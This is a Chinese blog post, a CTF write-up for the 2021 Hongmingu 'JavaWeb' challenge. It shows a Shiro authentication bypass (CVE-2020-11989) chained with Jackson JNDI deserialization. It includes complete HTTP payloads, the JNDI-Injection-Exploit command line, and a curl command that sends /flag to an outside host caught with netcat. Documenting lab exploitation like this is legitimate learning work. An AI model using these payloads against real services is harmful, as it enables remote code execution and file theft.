[红明谷CTF 2021]JavaWeb

原创

bfengj 于 2021-10-30 22:05:27 发布 553 收藏 2

分类专栏： Java 文章标签： java

前言

在复现强网拟态的那题Java，原来差不多算是今年红明谷的原题，所以到buuctf上复现了一下，熟悉一下攻击的流程，之后学习具体的技术细节。

WP

首先进入页面一看到那个500页面就知道是Spring或者SpringBoot了（还是不太了解，之后再去好好学学）。访问`/login`会提示`/json`，再访问`/json`又会302返回`/login`，很明显是需要登录得了，传点东西：

```
username=1&password=1
```

提示登录失败，但是cookie里带了`rememberMe=deleteMe;`，是个shiro，需要利用CVE-2020-11989（Apache Shiro 身份验证绕过漏洞）：

```
POST /;/json HTTP/1.1
Host: abdae116-e772-4ce0-8860-b85dbc7f27c2.node4.buuoj.cn:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54
 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applica
tion/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=E00995E63A26DD274E5BAB6C330E7518
Connection: close
Content-Type: application/json
Content-Length: 2

[]
```

成功绕过。这时候报错会告诉jsckson，尝试jackson的反序列化（这里就是知识盲区了）。

关于jackson的gadget文章：

http://b1ue.cn/archives/189.html

也是第一次遇到jackson的反序列化，像之前的fastjson的反序列化一样，可以rmi或者ldap进行攻击，学习一下这个jndi注入的工具：

https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/README-CN.md

利用curl外带出flag，也是学了一手curl -F的使用：

```
root@VM-0-6-ubuntu:~/java/jndi# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'curl http://121.5.169.223:39767 -File=@/flag' -A "121.5.169.223"
[ADDRESS] >> 121.5.169.223
[COMMAND] >> curl http://121.5.169.223:39767 -F file=@/flag
----------------------------JNDI Links----------------------------
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://121.5.169.223:1099/6dzonl
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://121.5.169.223:1099/ojakic
ldap://121.5.169.223:1389/ojakic
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://121.5.169.223:1099/wykevr
ldap://121.5.169.223:1389/wykevr

----------------------------Server Log----------------------------
2021-10-30 21:59:26 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2021-10-30 21:59:26 [RMISERVER]  >> Listening on 0.0.0.0:1099
2021-10-30 21:59:27 [LDAPSERVER] >> Listening on 0.0.0.0:1389
```

再起一个nc接受这个数据：

```
nc -lvvp 39767
```

选择`rmi://121.5.169.223:1099/6dzonl`，进行攻击：

```
POST /;/json HTTP/1.1
Host: abdae116-e772-4ce0-8860-b85dbc7f27c2.node4.buuoj.cn:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=E00995E63A26DD274E5BAB6C330E7518
Connection: close
Content-Type: application/json
Content-Length: 98

["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"rmi://121.5.169.223:1099/6dzonl"}]
```

攻击成功，接收到flag：

```
root@VM-0-6-ubuntu:~# nc -lvvp 39767
Listening on [0.0.0.0] (family 0, port 39767)
Connection from 117.21.200.166 52663 received!
POST / HTTP/1.1
User-Agent: curl/7.38.0
Host: 121.5.169.223:39767
Accept: */*
Content-Length: 239
Expect: 100-continue
Content-Type: multipart/form-data; boundary=------------------------644113426ad92d3d

--------------------------644113426ad92d3d
Content-Disposition: form-data; name="file"; filename="flag"
Content-Type: application/octet-stream

flag{056d95fc-e903-41c0-9158-9c559701ee9c}

--------------------------644113426ad92d3d--
```